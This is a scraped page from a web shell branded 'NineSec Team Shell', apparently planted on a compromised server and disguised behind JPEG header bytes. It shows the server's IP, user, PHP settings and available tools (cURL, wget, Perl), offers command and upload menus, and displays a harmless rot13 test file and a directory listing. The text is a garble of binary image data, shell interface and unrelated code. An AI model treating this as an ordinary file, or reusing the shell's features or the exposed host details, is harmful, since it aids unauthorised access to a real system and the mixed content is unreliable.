�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /srv/../opt/bitninja-python-dojo/../bitninja-dispatcher/node_modules/ebg13/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //srv/../opt/bitninja-python-dojo/../bitninja-dispatcher/node_modules/ebg13/index.spec.js
const rot13 = require('./index');

describe('rot13', () => {
  describe('when using defaults', () => {
    it('should encode a string using rot13 by default', () => {
      const secretMessage = 'Secret Message';
      const expected = 'Frperg Zrffntr';
      const actual = rot13(secretMessage);
      expect(expected).toBe(actual);
    });

    it('should decode a string using rot13 by default', () => {
      const secretMessage = 'Secret Message';
      const encodedMessage = rot13(secretMessage);
      const decodedMessage = rot13(encodedMessage);
      expect(decodedMessage).toBe(secretMessage);
    });
  });

  describe('when using an assymetric key', () => {
    it('should encode a string using caesar cipher when using a key', () => {
      const secretMessage = 'Secret Message';
      const expected = 'Eqodqf Yqeemsq';
      const actual = rot13(secretMessage, 12);
      expect(expected).toBe(actual);
    });

    it('should decode a string using caesar cipher when using a key', () => {
      const secretMessage = 'Secret Message';
      const encodedMessage = rot13(secretMessage, 12);
      const decodedMessage = rot13(encodedMessage, 14);
      expect(decodedMessage).toBe(secretMessage);
    });
  });

  describe('when using non alphabetic chars', () => {
    describe('when message is not a string', () => {
      it('should return an empty string', () => {
        expect(rot13(null)).toBe('');
        expect(rot13()).toBe('');
        expect(rot13(undefined)).toBe('');
        expect(rot13({})).toBe('');
        expect(rot13([])).toBe('');
        expect(rot13(true)).toBe('');
        expect(rot13(123)).toBe('');
      });
    });
    describe('when message contains numbers', () => {
      it('should not encode the numbers in the message', () => {
        const secretMessage = 'Secret Message 123';
        const expectedEncoded = 'Frperg Zrffntr 123';
        const encodedMessage = rot13(secretMessage);
        const decodedMessage = rot13(encodedMessage);

        expect(encodedMessage).toBe(expectedEncoded);
        expect(decodedMessage).toBe(secretMessage);
      });
    });

    describe('when message contains symbols', () => {
      it('should not encode the symbols in the message', () => {
        const secretMessage = 'Secret Message %^&*(';
        const expectedEncoded = 'Frperg Zrffntr %^&*(';
        const encodedMessage = rot13(secretMessage);
        const decodedMessage = rot13(encodedMessage);

        expect(encodedMessage).toBe(expectedEncoded);
        expect(decodedMessage).toBe(secretMessage);
      });
    });

    describe('when message is empty string', () => {
      it('should not change the string at all', () => {
        const secretMessage = '';
        const expectedEncoded = '';
        const encodedMessage = rot13(secretMessage);
        const decodedMessage = rot13(encodedMessage);

        expect(encodedMessage).toBe(expectedEncoded);
        expect(decodedMessage).toBe(secretMessage);
      });
    });
  });
});

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 03 2023 8:02:43
root
0755
bin
--
October 18 2023 12:15:59
root
0755
keys
--
October 18 2023 12:15:59
root
0755
.eslintrc.js
0.712 KB
April 18 2023 8:07:04
root
0644
.npmignore
0.026 KB
April 18 2023 8:07:04
root
0644
.travis.yml
0.836 KB
April 18 2023 8:07:04
root
0644
README.md
3.118 KB
April 18 2023 8:07:04
root
0644
index.js
0.633 KB
April 18 2023 8:07:04
root
0644
index.spec.js
2.938 KB
April 18 2023 8:07:04
root
0644
package.json
1.69 KB
April 18 2023 8:07:04
root
0644

NineSec Team - 2022